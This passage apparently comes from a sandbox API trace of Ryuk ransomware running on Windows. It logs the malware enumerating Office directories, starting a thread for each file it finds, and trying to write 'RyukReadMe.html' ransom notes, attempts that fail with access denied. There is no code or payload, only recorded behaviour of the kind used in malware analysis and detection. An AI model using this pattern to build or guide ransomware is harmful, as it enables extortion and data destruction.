	[0157.300] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0157.301] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x434
	[0157.304] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0157.305] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0xbe, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 1
	[0157.305] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0157.305] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x518
	[0157.307] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0157.308] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0xbe, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 0
	[0157.308] FindClose (in: hFindFile=0x7a340 | out: hFindFile=0x7a340) returned 1
	[0157.308] SetLastError (dwErrCode=0x0) 
	[0157.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.308] GetLastError () returned 0x5
	[0157.308] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0157.309] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.309] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 1
	[0157.309] SetLastError (dwErrCode=0x0) 
	[0157.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.309] GetLastError () returned 0x5
	[0157.309] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0157.309] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.309] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a340
	[0157.311] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.311] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe076d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0157.311] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0157.312] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x524
	[0157.314] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0157.315] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0xbe, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 1
	[0157.315] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0157.315] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x514
	[0157.319] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0157.320] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0xbe, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 0
	[0157.320] FindClose (in: hFindFile=0x7a340 | out: hFindFile=0x7a340) returned 1
	[0157.320] SetLastError (dwErrCode=0x0) 
	[0157.320] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.320] GetLastError () returned 0x5
	[0157.320] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0157.321] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.321] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 0
	[0157.321] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0157.321] SetLastError (dwErrCode=0x0) 
	[0157.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.321] GetLastError () returned 0x5
	[0157.321] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0157.322] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.322] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2560, dwReserved0=0x7c, dwReserved1=0x0, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1
	[0157.322] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x4d88, dwReserved0=0x7c, dwReserved1=0x0, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1
	[0157.322] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="OPTINPS.DLL", cAlternateFileName="")) returned 1
	[0157.322] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xb7ba8, dwReserved0=0x7c, dwReserved1=0x0, cFileName="PJ11OD11.DLL", cAlternateFileName="")) returned 1
	[0157.322] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xe5d47680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x3fb90, dwReserved0=0x7c, dwReserved1=0x0, cFileName="PJRESC.DLL", cAlternateFileName="")) returned 1
	[0157.322] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c2b90, dwReserved0=0x7c, dwReserved1=0x0, cFileName="PRJRES.DLL", cAlternateFileName="")) returned 1
	[0157.322] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a199a00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xdac16060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a199a00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b68, dwReserved0=0x7c, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1
	[0157.322] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x90778, dwReserved0=0x7c, dwReserved1=0x0, cFileName="SERCONV.DLL", cAlternateFileName="")) returned 1
	[0157.322] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded68100, ftCreationTime.dwHighDateTime=0x1cb5970, ftLastAccessTime.dwLowDateTime=0xd68d72e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xded68100, ftLastWriteTime.dwHighDateTime=0x1cb5970, nFileSizeHigh=0x0, nFileSizeLow=0xc6b00, dwReserved0=0x7c, dwReserved1=0x0, cFileName="USP10.DLL", cAlternateFileName="")) returned 1
	[0157.322] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xc150, dwReserved0=0x7c, dwReserved1=0x0, cFileName="VBAJET32.DLL", cAlternateFileName="")) returned 1
	[0157.322] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x7c, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 1
	[0157.323] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x7c, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 0
	[0157.323] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0157.323] SetLastError (dwErrCode=0x0) 
	[0157.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.323] GetLastError () returned 0x5
	[0157.323] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0157.323] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.324] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1
	[0157.324] SetLastError (dwErrCode=0x0) 
	[0157.324] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.324] GetLastError () returned 0x5
	[0157.324] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0157.324] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.324] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0157.735] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.736] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0x7c, dwReserved1=0x0, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1
	[0157.736] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59922e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x1be700, dwReserved0=0x7c, dwReserved1=0x0, cFileName="OSPPCEXT.DLL", cAlternateFileName="")) returned 1
	[0157.736] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x7c, dwReserved1=0x0, cFileName="osppobjs-spp-plugin-manifest-signed.xrm-ms", cAlternateFileName="OSPPOB~1.XRM")) returned 1
	[0157.736] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0157.737] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x33c
	[0157.740] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0157.741] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x212b00, dwReserved0=0x7c, dwReserved1=0x0, cFileName="OSPPOBJS.DLL", cAlternateFileName="")) returned 1
	[0157.741] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf332800, ftCreationTime.dwHighDateTime=0x1cabc8a, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf332800, ftLastWriteTime.dwHighDateTime=0x1cabc8a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x7c, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="OSPPRE~1.EXE")) returned 1
	[0157.741] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4b2700, dwReserved0=0x7c, dwReserved1=0x0, cFileName="OSPPSVC.EXE", cAlternateFileName="")) returned 1
	[0157.741] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x23b10, dwReserved0=0x7c, dwReserved1=0x0, cFileName="OSPPWMI.DLL", cAlternateFileName="")) returned 1
	[0157.741] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x7c, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 1
	[0157.741] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0157.742] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x51c
	[0157.743] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0157.744] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x7c, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 0
	[0157.744] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0157.747] SetLastError (dwErrCode=0x0) 
